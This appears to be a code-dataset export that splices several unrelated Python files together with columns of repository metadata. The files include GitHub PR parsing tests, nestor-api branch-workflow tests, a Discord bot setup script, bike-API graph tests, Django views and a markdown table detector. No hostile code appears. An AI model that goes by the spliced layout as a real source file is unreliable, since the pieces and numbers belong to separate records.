"https://api.github.com/users/content-bot/following{/other_user}", "gists_url": "https://api.github.com/users/content-bot/gists{/gist_id}", "starred_url": "https://api.github.com/users/content-bot/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/content-bot/subscriptions", "organizations_url": "https://api.github.com/users/content-bot/orgs", "repos_url": "https://api.github.com/users/content-bot/repos", "events_url": "https://api.github.com/users/content-bot/events{/privacy}", "received_events_url": "https://api.github.com/users/content-bot/received_events", "type": "User", "site_admin": False }, "state": "closed", "locked": False, "assignee": { "login": "TestUser", "id": 70005542, "node_id": "MDQ6VXNlcjcwMDA1NTQy", "avatar_url": "https://avatars.githubusercontent.com/u/70005542?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TestUser", "html_url": "https://github.com/TestUser", "followers_url": "https://api.github.com/users/TestUser/followers", "following_url": "https://api.github.com/users/TestUser/following{/other_user}", "gists_url": "https://api.github.com/users/TestUser/gists{/gist_id}", "starred_url": "https://api.github.com/users/TestUser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/TestUser/subscriptions", "organizations_url": "https://api.github.com/users/TestUser/orgs", "repos_url": "https://api.github.com/users/TestUser/repos", "events_url": "https://api.github.com/users/TestUser/events{/privacy}", "received_events_url": "https://api.github.com/users/TestUser/received_events", "type": "User", "site_admin": False }, "assignees": [ { "login": "TestUser", "id": 70005542, "node_id": "MDQ6VXNlcjcwMDA1NTQy", "avatar_url": "https://avatars.githubusercontent.com/u/70005542?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TestUser", "html_url": "https://github.com/TestUser", "followers_url": "https://api.github.com/users/TestUser/followers", "following_url": "https://api.github.com/users/TestUser/following{/other_user}", "gists_url": "https://api.github.com/users/TestUser/gists{/gist_id}", "starred_url": "https://api.github.com/users/TestUser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/TestUser/subscriptions", "organizations_url": "https://api.github.com/users/TestUser/orgs", "repos_url": "https://api.github.com/users/TestUser/repos", "events_url": "https://api.github.com/users/TestUser/events{/privacy}", "received_events_url": "https://api.github.com/users/TestUser/received_events", "type": "User", "site_admin": False } ], "milestone": "None", "comments": 0, "created_at": "2021-07-25T06:31:57Z", "updated_at": "2021-07-25T12:19:42Z", "closed_at": "2021-07-25T12:19:42Z", "author_association": "MEMBER", "active_lock_reason": "None", "draft": False, "pull_request": { "url": "https://api.github.com/repos/demisto/content/pulls/13829", "html_url": "https://github.com/demisto/content/pull/13829", "diff_url": "https://github.com/demisto/content/pull/13829.diff", "patch_url": "https://github.com/demisto/content/pull/13829.patch" }, "body": "## Original External PR\r\n[external pull request](https://github.com/demisto/content/pull/13614)" "\r\n\r\n## Contributing to Cortex XSOAR Content", } ] res = get_external_prs(mock_response) expected_output = [{'pr_number': '13801', 'pr_body': '## Original External PR\r\n[external pull request]' '(https://github.com/demisto/content/pull/13801)\r\n\r\n## Status\r\n- [ ] In ' 'Progress\r\n- [x] Ready\r\n- [ ] In Hold - (Reason for hold)\r\n\r\n'}, {'pr_number': '13614', 'pr_body': '## Original External PR\r\n[external pull request]' '(https://github.com/demisto/content/pull/13614)\r\n\r\n## ' 'Contributing to Cortex XSOAR Content'}] assert expected_output == res def test_get_github_user(requests_mock): """ Given: - http response from get_user call to github. When: - running the get_github_user function Then: - Validate that a tuple of the user avatar and profile returned. """ user_response = { "login": "jacksparow", "id": 987654, "node_id": "MDQ6VXNlcjQ3MTE2MzM=", "avatar_url": "https://avatars.githubusercontent.com/u/4711633?v=4", "url": "https://api.github.com/users/jacksparow", "html_url": "https://github.com/jacksparow", "followers_url": "https://api.github.com/users/jacksparow/followers", "organizations_url": "https://api.github.com/users/jacksparow/orgs", "repos_url": "https://api.github.com/users/jacksparow/repos", "events_url": "https://api.github.com/users/jacksparow/events{/privacy}", "received_events_url": "https://api.github.com/users/jacksparow/received_events", "type": "User", "site_admin": False, "name": "Jack Sparow", "location": "Tel Aviv, Israel", "hireable": True, "bio": "Hello World️", "public_repos": 70, "followers": 16, "following": 12, "created_at": "2013-06-16T15:42:41Z", "updated_at": "2021-07-17T20:25:39Z" } username = 'jacksparow' requests_mock.get(f'https://api.github.com/users/{username}', json=user_response) res = get_github_user(username) assert user_response == res def test_get_contribution_users(): """ Given: - Mock response data - inner PR response. When: - running the get_contributors_users function Then: - Validate that contribution user was returned as necessary. """ user_info = [{ "login": "powershelly", "id": 87646651, "node_id": "MDQ6VXNlcjg3NjQ2NjUx", "avatar_url": "https://avatars.githubusercontent.com/u/testurl", "url": "https://api.github.com/users/powershelly", "html_url": "https://github.com/powershelly", "received_events_url": "https://api.github.com/users/powershelly/received_events", "type": "User", "site_admin": False }] res = get_contributors_users(user_info) assert ["<img src='https://avatars.githubusercontent.com/u/testurl'/> " "<a href='https://github.com/powershelly' target='_blank'>powershelly</a> 1 Contributions"] == res def test_create_grid(): """ Given: - List of users as data to create the table from. When: - running the create_grid function Then: - Validate that the table was created successfully. """ response = [ "<img src='https://avatars.githubusercontent.com/u/testurl'/> " + "<a href='https://github.com/powershelly' target='_blank'>powershelly</a> 5 Contributions", "<img src='https://avatars.githubusercontent.com/u/jacksparow'/> " + "<a href='https://github.com/powershelly' target='_blank'>jacksparow</a> 8 Contributions" ] res = create_grid(response) expected = "<tr>\n<td><img src='https://avatars.githubusercontent.com/u/testurl'/> " \ "<a href='https://github.com/powershelly' target='_blank'>powershelly</a> 5 Contributions </td>" assert expected in res

48.481876

120

0.554358

2,374

22,738

5.179023

0.125105

0.091745

0.110451

0.13412

0.81952

0.788532

0.770557

0.735502

0.700529

0.66466

0

0.051168

0.280588

22,738

468

121

48.58547

0.700391

0.030654

0

0.589372

0

0.031401

0.59664

0.035105

0

0.009662

1

0.009662

false

0

0.002415

0

0.012077

0

null

0

1

0

null

0

6

ae254a9a428032b76283dfc054baf7d061188d87

11,220

py

Python

tests/lib/workflow/test_init.py

ChauffeurPrive/nestor-api

364b5f034eeb929932a5a8c3f3b00d1275a7ae5b

[ "Apache-2.0" ]

2

2020-08-17T09:59:03.000Z

2020-08-17T09:59:23.000Z

tests/lib/workflow/test_init.py

ChauffeurPrive/nestor-api

364b5f034eeb929932a5a8c3f3b00d1275a7ae5b

[ "Apache-2.0" ]

83

2020-06-12T14:37:35.000Z

2022-01-26T14:10:10.000Z

tests/lib/workflow/test_init.py

ChauffeurPrive/nestor-api

364b5f034eeb929932a5a8c3f3b00d1275a7ae5b

[ "Apache-2.0" ]

1

2020-07-02T14:33:45.000Z

from unittest import TestCase from unittest.mock import MagicMock, create_autospec, patch from github import AuthenticatedUser, Branch from nestor_api.adapters.git.abstract_git_provider import ( AbstractGitProvider, GitProviderError, GitResource, GitResourceNotFoundError, ) from nestor_api.lib.workflow.init import ( _create_and_protect_branch, _get_workflow_branches, init_workflow, ) from nestor_api.lib.workflow.typings import WorkflowInitStatus class TestWorkflow(TestCase): @patch("nestor_api.lib.workflow.init.Logger", autospec=True) @patch("nestor_api.lib.workflow.init.non_blocking_clean", autospec=True) @patch("nestor_api.lib.workflow.init.config", autospec=True) @patch("nestor_api.lib.workflow.init._create_and_protect_branch", autospec=True) def test_init_workflow( self, _create_and_protect_branch_mock, config_mock, non_blocking_clean_mock, _logger_mock ): """Should correctly initialize all branches.""" # Mocks config_mock.create_temporary_config_copy.return_value = "fake-path" config_mock.get_app_config.return_value = { "workflow": ["integration", "staging", "production"] } git_provider_mock = create_autospec(spec=AbstractGitProvider) user = MagicMock(spec=AuthenticatedUser.AuthenticatedUser) user.login = "some-user-login" git_provider_mock.get_user_info.return_value = user master_branch = MagicMock(spec=Branch.Branch) master_branch.commit.sha = "5ac5ee8" git_provider_mock.get_branch.return_value = master_branch _create_and_protect_branch_mock.side_effect = [ {"created": (True, True), "protected": (True, True)}, {"created": (False, True), "protected": (True, True)}, {"created": (False, True), "protected": (False, True)}, ] # Test result = init_workflow("organization", "app-1", git_provider_mock) # Assertions git_provider_mock.get_branch.assert_called_with("organization", "app-1", "master") non_blocking_clean_mock.assert_called_with("fake-path") self.assertEqual( result, ( WorkflowInitStatus.SUCCESS, { "integration": {"created": (True, True), "protected": (True, True)}, "staging": {"created": (False, True), "protected": (True, True)}, "production": {"created": (False, True), "protected": (False, True)}, }, ), ) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) @patch("nestor_api.lib.workflow.init.non_blocking_clean", autospec=True) @patch("nestor_api.lib.workflow.init.config", autospec=True) @patch("nestor_api.lib.workflow.init._create_and_protect_branch", autospec=True) def test_init_workflow_without_master_branch( self, _create_and_protect_branch_mock, config_mock, non_blocking_clean_mock, _logger_mock ): """Should return fail status and empty report.""" # Mocks config_mock.create_temporary_config_copy.return_value = "fake-path" config_mock.get_app_config.return_value = { "workflow": ["integration", "staging", "production"] } git_provider_mock = create_autospec(spec=AbstractGitProvider) user = MagicMock(spec=AuthenticatedUser.AuthenticatedUser) user.login = "some-user-login" git_provider_mock.get_user_info.return_value = user git_provider_mock.get_branch.side_effect = GitResourceNotFoundError(GitResource.BRANCH) # Test result = init_workflow("organization", "app-1", git_provider_mock) # Assertions _create_and_protect_branch_mock.assert_not_called() non_blocking_clean_mock.assert_called_with("fake-path") self.assertEqual( result, (WorkflowInitStatus.FAIL, {},), ) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) @patch("nestor_api.lib.workflow.init.non_blocking_clean", autospec=True) @patch("nestor_api.lib.workflow.init.config", autospec=True) @patch("nestor_api.lib.workflow.init._create_and_protect_branch", autospec=True) def test_init_workflow_failing_to_create_or_protect_branch( self, _create_and_protect_branch_mock, config_mock, non_blocking_clean_mock, _logger_mock ): """Should return failed report if something goes wrong when creating/protecting branches.""" # Mocks config_mock.create_temporary_config_copy.return_value = "fake-path" config_mock.get_app_config.return_value = { "workflow": ["integration", "staging", "production"] } git_provider_mock = create_autospec(spec=AbstractGitProvider) user = MagicMock(spec=AuthenticatedUser.AuthenticatedUser) user.login = "some-user-login" git_provider_mock.get_user_info.return_value = user master_branch = MagicMock(spec=Branch.Branch) master_branch.commit.sha = "5ac5ee8" git_provider_mock.get_branch.return_value = master_branch _create_and_protect_branch_mock.side_effect = GitProviderError("error") # Test result = init_workflow("organization", "app-1", git_provider_mock) # Assertions git_provider_mock.get_branch.assert_called_with("organization", "app-1", "master") non_blocking_clean_mock.assert_called_with("fake-path") self.assertEqual( result, (WorkflowInitStatus.FAIL, {},), ) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) @patch("nestor_api.lib.workflow.init.non_blocking_clean", autospec=True) @patch("nestor_api.lib.workflow.init.config", autospec=True) def test_init_workflow_without_configured_workflow( self, config_mock, non_blocking_clean_mock, _logger_mock ): """Should create no branch.""" # Mocks config_mock.create_temporary_config_copy.return_value = "fake-path" config_mock.get_app_config.return_value = {} git_provider_mock = create_autospec(spec=AbstractGitProvider) # Test result = init_workflow("organization", "app-1", git_provider_mock) # Assertions git_provider_mock.get_user_info.assert_not_called() git_provider_mock.get_branch.assert_not_called() git_provider_mock.create_branch.assert_not_called() git_provider_mock.protect_branch.assert_not_called() non_blocking_clean_mock.assert_called_with("fake-path") self.assertEqual(result, (WorkflowInitStatus.SUCCESS, {})) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) def test_create_and_protect_branch_with_non_existing_branch(self, _logger_mock): """Should create and protect branch.""" # Mocks git_provider_mock = create_autospec(spec=AbstractGitProvider) git_provider_mock.get_branch.side_effect = GitResourceNotFoundError(GitResource.BRANCH) branch = MagicMock(spec=Branch.Branch) branch.protected = False git_provider_mock.create_branch.return_value = branch # Test result = _create_and_protect_branch( "organization", "app-1", "staging", "5ac5ee8", "some-user-login", git_provider_mock ) # Assertions git_provider_mock.get_branch.assert_called_once_with("organization", "app-1", "staging") git_provider_mock.create_branch.assert_called_once_with( "organization", "app-1", "staging", "5ac5ee8" ) git_provider_mock.protect_branch.assert_called_once_with( "organization", "app-1", "staging", "some-user-login" ) self.assertEqual(result, {"created": (True, True), "protected": (True, True)}) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) def test_create_and_protect_branch_with_non_existing_repo(self, _logger_mock): """Should raise an error.""" # Mocks git_provider_mock = create_autospec(spec=AbstractGitProvider) git_provider_mock.get_branch.side_effect = GitResourceNotFoundError(GitResource.REPOSITORY) # Test with self.assertRaises(GitResourceNotFoundError) as context: _create_and_protect_branch( "organization", "app-1", "staging", "5ac5ee8", "some-user-login", git_provider_mock ) # Assertions self.assertEqual(context.exception.resource, GitResource.REPOSITORY) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) def test_create_and_protect_branch_with_existing_protected_branch(self, _logger_mock): """Should not modify branch.""" # Mocks git_provider_mock = create_autospec(spec=AbstractGitProvider) staging_branch = MagicMock(spec=Branch.Branch) staging_branch.protected = True git_provider_mock.get_branch.return_value = staging_branch # Test result = _create_and_protect_branch( "organization", "app-1", "staging", "5ac5ee8", "some-user-login", git_provider_mock ) # Assertions git_provider_mock.get_branch.assert_called_once_with("organization", "app-1", "staging") git_provider_mock.create_branch.assert_not_called() git_provider_mock.protect_branch.assert_not_called() self.assertEqual(result, {"created": (False, True), "protected": (False, True)}) @patch("nestor_api.lib.workflow.init.Logger", autospec=True) def test_create_and_protect_branch_with_existing_unprotected_branch(self, _logger_mock): """Should only protect the branch.""" # Mocks git_provider_mock = create_autospec(spec=AbstractGitProvider) staging_branch = MagicMock(spec=Branch.Branch) staging_branch.protected = False git_provider_mock.get_branch.return_value = staging_branch # Test result = _create_and_protect_branch( "organization", "app-1", "staging", "5ac5ee8", "some-user-login", git_provider_mock ) # Assertions git_provider_mock.get_branch.assert_called_once_with("organization", "app-1", "staging") git_provider_mock.create_branch.assert_not_called() git_provider_mock.protect_branch.assert_called_once_with( "organization", "app-1", "staging", "some-user-login" ) self.assertEqual(result, {"created": (False, True), "protected": (True, True)}) def test_get_workflow_branches(self): """Should return the list of workflow branches.""" fake_config = {"workflow": ["integration", "staging", "master"]} result = _get_workflow_branches(fake_config, "master") self.assertEqual(result, ["integration", "staging"]) def test_get_workflow_branches_with_empty_config(self): """Should return an empty list.""" result = _get_workflow_branches({}, "master") self.assertEqual(result, []) def test_get_workflow_branches_with_empty_workflow(self): """Should return an empty list.""" result = _get_workflow_branches({"workflow": []}, "master") self.assertEqual(result, [])

44.701195

99

0.688948

1,263

11,220

5.760887

0.092637

0.065008

0.086586

0.057724

0.857064

0.825179

0.798378

0.768829

0.757971

0.745739

0

0.004138

0.203119

11,220

250

100

44.88

0.809641

0.052763

0

0.558011

0

0.165449

0.073333

0

0.176796

1

0.060773

false

0

0.033149

0

0.099448

0

null

0

1

0

null

0

6

ae3cb240c9c5d03df3970047b95d95c471c1713e

6,054

py

Python

setup.py

NeilDevelopment/BeepBoopBot

1ad7d987a7f27b2585d58d6d4d3a6257c5f4ab82

[ "MIT" ]

null

setup.py

NeilDevelopment/BeepBoopBot

1ad7d987a7f27b2585d58d6d4d3a6257c5f4ab82

[ "MIT" ]

2

2022-03-28T07:57:18.000Z

2022-03-28T08:42:16.000Z

setup.py

NeilDevelopment/BeepBoopBot

1ad7d987a7f27b2585d58d6d4d3a6257c5f4ab82

[ "MIT" ]

null

import time import os def setup(): print("\n") token = input("Please enter your Bot token\n") prefix = input("Please enter your Bot prefix\n") member = input("Please enter your Member role ID\n") mod = input("Please enter your Moderator role ID\n") admin = input("Please enter your Admin role ID\n") guild = input("Please enter your Guild ID\n") log_channel = input("Please enter the channel ID for logs. (If you do not want to enable logs please press ENTER)\n") print("\n\n") print("Confirm with these values.") time.sleep(2) print(f"Token: {token}") print(f"Prefix: {prefix}") print(f"Member Role ID: {member}") print(f"Moderator Role ID: {mod}") print(f"Admin Role ID: {admin}") print(f"Guild ID: {guild}") print(f"Log Channel ID: {log_channel}") info_recheck = input("Is that information correct? [Y/N]\n") if info_recheck == "Y" or info_recheck == "y": print("Please wait while the bot is being setup.") with open(".env", "w") as env: env.write(f"TOKEN={token}" + "\n") env.write(f"PREFIX={prefix}" + "\n") env.write(f"MEMBER_ROLE={member}" + "\n") env.write(f"MODERATOR_ROLE={mod}" + "\n") env.write(f"ADMIN_ROLE={admin}" + "\n") env.write(f"GUILD_ID={guild}" + "\n") env.write(f"LOG_CHANNEL={log_channel}") if log_channel == "": os.chdir("cogs") os.remove("logs.py") os.chdir("..") print("File logs.py removed.") time.sleep(5) exit() else: print("Setup complete.") time.sleep(5) exit() if info_recheck == "N" or info_recheck == "n": print("Please restart the setup.") exit() def tutorial(): print("Welcome to the BeepBoopBot Tutorial! We will explain how to get information needed for the setup here.") print("\nToken: Go to https://discord.com/developers/applications and click on your Application\nthen click on the 'Bot' in left sidebar, click on 'Copy' under your Bot's name\n") print("Prefix: Enter the prefix you want for your bot\n") print("Member Role: Go to the Discord App, Right click on your Member role and click 'Copy ID'.\n") print("Moderator Role: Go to the Discord App, Right click on your Moderator role and click 'Copy ID'.\n") print("Admin Role: Go to the Discord App, Right click on your Admin role and click 'Copy ID'.\n") print("Guild ID: Go to the Discord App, Right click on your Guild and click 'Copy ID'.\n") print("Log Channel ID: Go to the Discord App, Right click on your Log Channel and click 'Copy ID'.\n") setup_after_tutorial = input("Do you want to go back to the setup? [Y/N]\n") if setup_after_tutorial == "Y" or setup_after_tutorial == "y": main() else: exit() def setup_and_tutorial(): print("\n") token = input("Please enter your Bot token\nSteps: Go to https://discord.com/developers/applications and click on your Application\nthen click on the 'Bot' in left sidebar, click on 'Copy' under your Bot's name\n") prefix = input("Please enter your Bot prefix\nSteps: Enter the prefix you want for your bot\n") member = input("Please enter your Member ID\nSteps: Go to the Discord App, Right click on your Member role and click 'Copy ID'.\n") mod = input("Please enter your Moderator ID\nSteps: Go to the Discord App, Right click on your Moderator role and click 'Copy ID'.\n") admin = input("Please enter your Admin ID\nSteps: Go to the Discord App, Right click on your Admin role and click 'Copy ID'.\n") guild = input("Please enter your Guild ID\nSteps: Go to the Discord App, Right click on your Guild and click 'Copy ID'.\n") log_channel = input("Please enter the channel ID for logs. (Press ENTER to disable logs)\nSteps: Go to the Discord App, Right click on your Log Channel and click 'Copy ID'.\n") print("\n\n") print("Confirm with these values.") time.sleep(2) print(f"Token: {token}") print(f"Prefix: {prefix}") print(f"Member Role ID: {member}") print(f"Moderator Role ID: {mod}") print(f"Admin Role ID: {admin}") print(f"Guild ID: {guild}") print(f"Log Channel ID: {log_channel}") info_recheck = input("Is that information correct? [Y/N]\n") if info_recheck == "Y" or info_recheck == "y": print("Please wait while the bot is being setup.") with open(".env", "w") as env: env.write(f"TOKEN={token}" + "\n") env.write(f"PREFIX={prefix}" + "\n") env.write(f"MEMBER_ROLE={member}" + "\n") env.write(f"MODERATOR_ROLE={mod}" + "\n") env.write(f"ADMIN_ROLE={admin}" + "\n") env.write(f"GUILD_ID={guild}" + "\n") env.write(f"LOG_CHANNEL={log_channel}") if log_channel == "": os.chdir("cogs") os.remove("logs.py") os.chdir("..") print("File logs.py removed.") time.sleep(5) exit() else: print("Setup complete.") time.sleep(5) exit() if info_recheck == "N" or info_recheck == "n": print("Please restart the setup.") exit() def main(): print("Welcome to the BeepBoopBot setup.") main = input("Please chose from the following options:\n[1] Tutorial\n[2] Setup\n[3] Both\n[4] Exit\n") if main == "1": tutorial() if main == "2": setup() if main == "3": setup_and_tutorial() if main == "4": exit() else: print("Please enter a valid option.") main() if __name__ == "__main__": main()

48.047619

449

0.572184

857

6,054

3.988331

0.134189

0.032768

0.065535

0.070217

0.834699

0.818315

0.816852

0.793446

0.73464

0.674664

0

0.003279

0.294681

6,054

126

450

48.047619

0.79719

0

0.658333

0

0.116667

0.565318

0.008258

0

1

0.033333

false

0

0.016667

0

0.05

0.316667

0

null

0

1

0

null

0

6

ae4089bedfddc1a6ca8fc1b6728941395f3b414d

196

py

Python

content/admin.py

pratikgoel145/AlgoBuddy-Web-Application

2ea3c6e3ca1127aced9968319d9a9bb7978b66bf

[ "MIT" ]

null

content/admin.py

pratikgoel145/AlgoBuddy-Web-Application

2ea3c6e3ca1127aced9968319d9a9bb7978b66bf

[ "MIT" ]

null

content/admin.py

pratikgoel145/AlgoBuddy-Web-Application

2ea3c6e3ca1127aced9968319d9a9bb7978b66bf

[ "MIT" ]

1

2017-10-25T10:25:03.000Z

from django.contrib import admin from .models import Post, Comment, Markread admin.site.register(Post) admin.site.register(Comment) admin.site.register(Markread) # admin.site.register(Profile)

19.6

43

0.80102

27

196

5.814815

0.444444

0.229299

0.433121

0.318471

0

0.091837

196

10

44

19.6

0.882022

0.142857

0

1

0

true

0

0.4

0

0.4

0

1

0

null

1

0

null

0

1

0

1

0

6

ae4b2dce74d1c00c6d5106f8c1070015b15d50d4

253

py

Python

dataloader/__init__.py

doc-doc/NExT-OE

a45d81a48ab5ccc45ff6f7bea60597cc59bc546e

[ "MIT" ]

7

2021-05-28T02:57:23.000Z

2022-03-28T13:37:43.000Z

dataloader/__init__.py

doc-doc/NExT-OE

a45d81a48ab5ccc45ff6f7bea60597cc59bc546e

[ "MIT" ]

1

2021-06-18T08:40:56.000Z

2021-06-18T09:47:23.000Z

dataloader/__init__.py

doc-doc/NExT-OE

a45d81a48ab5ccc45ff6f7bea60597cc59bc546e

[ "MIT" ]

null

# ==================================================== # @Time : 15/5/20 3:48 PM # @Author : Xiao Junbin # @Email : junbin@comp.nus.edu.sg # @File : __init__.py # ==================================================== from .sample_loader import *

36.142857

54

0.355731

23

253

3.695652

0.956522

0

0.036697

0.13834

253

7

55

36.142857

0.353211

0.837945

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

ae8cd42184ddff35e348d1530812a6ae8e4b3df9

6,088

py

Python

sustainableCityManagement/tests/Bike_API/test_graphvalues_bike.py

Josh-repository/Dashboard-CityManager-

6287881be9fb2c6274a755ce5d75ad355346468a

[ "RSA-MD" ]

null

sustainableCityManagement/tests/Bike_API/test_graphvalues_bike.py

Josh-repository/Dashboard-CityManager-

6287881be9fb2c6274a755ce5d75ad355346468a

[ "RSA-MD" ]

null

sustainableCityManagement/tests/Bike_API/test_graphvalues_bike.py

Josh-repository/Dashboard-CityManager-

6287881be9fb2c6274a755ce5d75ad355346468a

[ "RSA-MD" ]

1

2021-05-13T16:33:18.000Z

from main_project.Bike_API.graphvalues_bike import GraphValuesBike from main_project.Bike_API import fetch_bikeapi from main_project.Bike_API.store_bikedata_to_database import StoreBikeDataToDatabase from main_project.Bike_API.store_processed_bikedata_to_db import StoreProcessedBikeDataToDB from main_project.Bike_API.fetch_bikeapi import FetchBikeApi from django.test import TestCase from unittest.mock import MagicMock import datetime from freezegun import freeze_time @freeze_time("2021-03-11 17") class TestGraphValuesBike(TestCase): @classmethod def setUpTestData(cls): pass def test_graphvalue_call_locationbased_returns_error_with_days_historical_0(self): graph_values_bike = GraphValuesBike() with self.assertRaises(ValueError) as context: graph_values_bike.graphvalue_call_locationbased(days_historical=0) assert str(context.exception) == 'Assign days_historic parameter >= 2.' def test_graphvalue_call_locationbased_returns_error_with_days_historical_1(self): graph_values_bike = GraphValuesBike() with self.assertRaises(ValueError) as context: graph_values_bike.graphvalue_call_locationbased(days_historical=1) assert str(context.exception) == 'Assign days_historic parameter >= 2.' def test_graphvalue_call_locationbased(self): graph_values_bike = GraphValuesBike() store_processed_bike_data_to_database = StoreProcessedBikeDataToDB() mocked_fetch_processed_data = [ { "name": "test_abcd", "data": [ { "day": datetime.datetime(2021, 3, 15, 16, 45, 0), "in_use": 10, "total_stands": 50 } ] }, { "name": "test_abcdef", "data": [ { "day": datetime.datetime(2021, 3, 15, 16, 45, 0), "in_use": 15, "total_stands": 20 } ] } ] mocked_fetch_predicted_data = [ { "name": "test_abcd", "data": { "in_use": 11 } }, { "name": "test_abcdef", "data": { "in_use": 12 } } ] store_processed_bike_data_to_database.fetch_processed_data = MagicMock( return_value=mocked_fetch_processed_data) store_processed_bike_data_to_database.fetch_predicted_data = MagicMock( return_value=mocked_fetch_predicted_data) expected_result = { 'test_abcd': { 'TOTAL_STANDS': 50, 'IN_USE': { '2021-03-12': 11, '2021-03-15': 10 } }, 'test_abcdef': { 'TOTAL_STANDS': 20, 'IN_USE': { '2021-03-12': 12, '2021-03-15': 15 } } } result = graph_values_bike.graphvalue_call_locationbased(days_historical=2, store_processed_bike_data_to_db=store_processed_bike_data_to_database) self.assertDictEqual(result, expected_result) def test_graphvalue_call_overall_returns_error_with_days_historical_0(self): graph_values_bike = GraphValuesBike() with self.assertRaises(ValueError) as context: graph_values_bike.graphvalue_call_overall(days_historical=0) assert str(context.exception) == 'Assign days_historic parameter >= 2.' def test_graphvalue_call_overall_returns_error_with_days_historical_1(self): graph_values_bike = GraphValuesBike() with self.assertRaises(ValueError) as context: graph_values_bike.graphvalue_call_overall(days_historical=1) assert str(context.exception) == 'Assign days_historic parameter >= 2.' def test_graphvalue_call_overall(self): graph_values_bike = GraphValuesBike() store_processed_bike_data_to_database = StoreProcessedBikeDataToDB() mocked_fetch_processed_data = [ { "name": "test_abcd", "data": [ { "day": datetime.datetime(2021, 3, 15, 16, 45, 0), "in_use": 10, "total_stands": 50 } ] }, { "name": "test_abcdef", "data": [ { "day": datetime.datetime(2021, 3, 15, 16, 45, 0), "in_use": 15, "total_stands": 20 } ] } ] mocked_fetch_predicted_data = [ { "name": "test_abcd", "data": { "in_use": 11 } }, { "name": "test_abcdef", "data": { "in_use": 12 } } ] store_processed_bike_data_to_database.fetch_processed_data = MagicMock( return_value=mocked_fetch_processed_data) store_processed_bike_data_to_database.fetch_predicted_data = MagicMock( return_value=mocked_fetch_predicted_data) expected_result = { 'ALL_LOCATIONS': { 'TOTAL_STANDS': 20, 'IN_USE': { '2021-03-12': 12, '2021-03-15': 15 } } } result = graph_values_bike.graphvalue_call_overall(days_historical=2, store_processed_bike_data_to_db=store_processed_bike_data_to_database) self.assertDictEqual(result, expected_result)

34.202247

135

0.535644

561

6,088

5.404635

0.16221

0.055409

0.059367

0.072559

0.859169

0.833113

0.815303

0.808707

0

0.043316

0.385677

6,088

177

136

34.39548

0.76738

0

0.496689

0

0.091327

0

0.066225

1

0.046358

false

0.006623

0.059603

0

0.112583

0

null

0

1

0

null

0

6

885ee501732df60a8b4b5e0c802f3e8cb53c9694

2,848

py

Python

voxel_globe/tiepoint_registration/views.py

ngageoint/voxel-globe

91f386de652b704942165889c10468b2c4cf4eec

[ "MIT" ]

28

2015-07-27T23:57:24.000Z

2020-04-05T15:10:52.000Z

voxel_globe/tiepoint_registration/views.py

VisionSystemsInc/voxel_globe

6eb3fca5586726428e9d914f7b730ca164c64a52

[ "MIT" ]

50

2016-02-11T15:50:22.000Z

2016-10-27T22:38:27.000Z

voxel_globe/tiepoint_registration/views.py

ngageoint/voxel-globe

91f386de652b704942165889c10468b2c4cf4eec

[ "MIT" ]

8

2015-07-27T19:22:03.000Z

2021-01-04T09:44:48.000Z

from django.shortcuts import render from django.http import HttpResponse from django.template import RequestContext, loader def tiepoint_registration_1(request): from voxel_globe.meta import models image_set_list = models.ImageSet.objects.all() return render(request, 'tiepoint_registration/html/tiepoint_registration_1.html', {'image_set_list':image_set_list}) def tiepoint_registration_2(request, image_set_id): from voxel_globe.meta import models camera_set_list = models.ImageSet.objects.get(id=image_set_id).cameras.all() return render(request, 'tiepoint_registration/html/tiepoint_registration_2.html', {'camera_set_list':camera_set_list, 'image_set_id':image_set_id}) def tiepoint_registration_3(request, image_set_id, camera_set_id): from voxel_globe.tiepoint_registration import tasks image_set_id = int(image_set_id) t = tasks.tiepoint_registration.apply_async(args=(image_set_id,camera_set_id), user=request.user) return render(request, 'tiepoint_registration/html/tiepoint_registration_3.html', {'task_id': t.task_id}) def tiepoint_error_1(request): from voxel_globe.meta import models image_set_list = models.ImageSet.objects.all() return render(request, 'tiepoint_registration/html/tiepoint_error_1.html', {'image_set_list':image_set_list}) def tiepoint_error_2(request, image_set_id): from voxel_globe.meta import models camera_set_list = models.ImageSet.objects.get(id=image_set_id).cameras.all() return render(request, 'tiepoint_registration/html/tiepoint_error_2.html', {'camera_set_list':camera_set_list, 'image_set_id':image_set_id}) def tiepoint_error_3(request, image_set_id, camera_set_id): from voxel_globe.meta import models scene_list = models.Scene.objects.all() return render(request, 'tiepoint_registration/html/tiepoint_error_3.html', {'scene_list':scene_list, 'camera_set_id':camera_set_id, 'image_set_id':image_set_id}) def tiepoint_error_4(request, image_set_id, camera_set_id, scene_id): from voxel_globe.tiepoint_registration import tasks image_set_id = int(image_set_id) t = tasks.tiepoint_error_calculation.apply_async(args=(image_set_id, camera_set_id, scene_id), user=request.user) return render(request, 'tiepoint_registration/html/tiepoint_error_4.html', {'task_id': t.task_id}) def order_status(request, task_id): from celery.result import AsyncResult task = AsyncResult(task_id) return render(request, 'task/html/task_3d_error_results.html', {'task': task})

41.275362

99

0.704705

375

2,848

4.978667

0.138667

0.06963

0.101768

0.101232

0.792716

0.784146

0.758972

0.724692

0.650777

0

0.006646

0.207514

2,848

69

100

41.275362

0.820558

0

0.423077

0

0.185328

0.137943

0

1

0.153846

false

0

0.211538

0

0.519231

0

null

0

1

0

null

0

1

0

6

888ec2bc58a265e0fbc146042817b28132dad16e

252

py

Python

markflow/detectors/table.py

arounkles/markflow

fb13a5ed5f2df958e068b869e8dbdcd2d93b1552

[ "Apache-2.0" ]

null

markflow/detectors/table.py

arounkles/markflow

fb13a5ed5f2df958e068b869e8dbdcd2d93b1552

[ "Apache-2.0" ]

null

markflow/detectors/table.py

arounkles/markflow

fb13a5ed5f2df958e068b869e8dbdcd2d93b1552

[ "Apache-2.0" ]

null

from typing import List def table_started(line: str, index: int, lines: List[str]) -> bool: return line.lstrip().startswith("|") def table_ended(line: str, index: int, lines: List[str]) -> bool: return not table_started(line, index, lines)

25.2

67

0.690476

37

252

4.621622

0.486486

0.093567

0.187135

0.175439

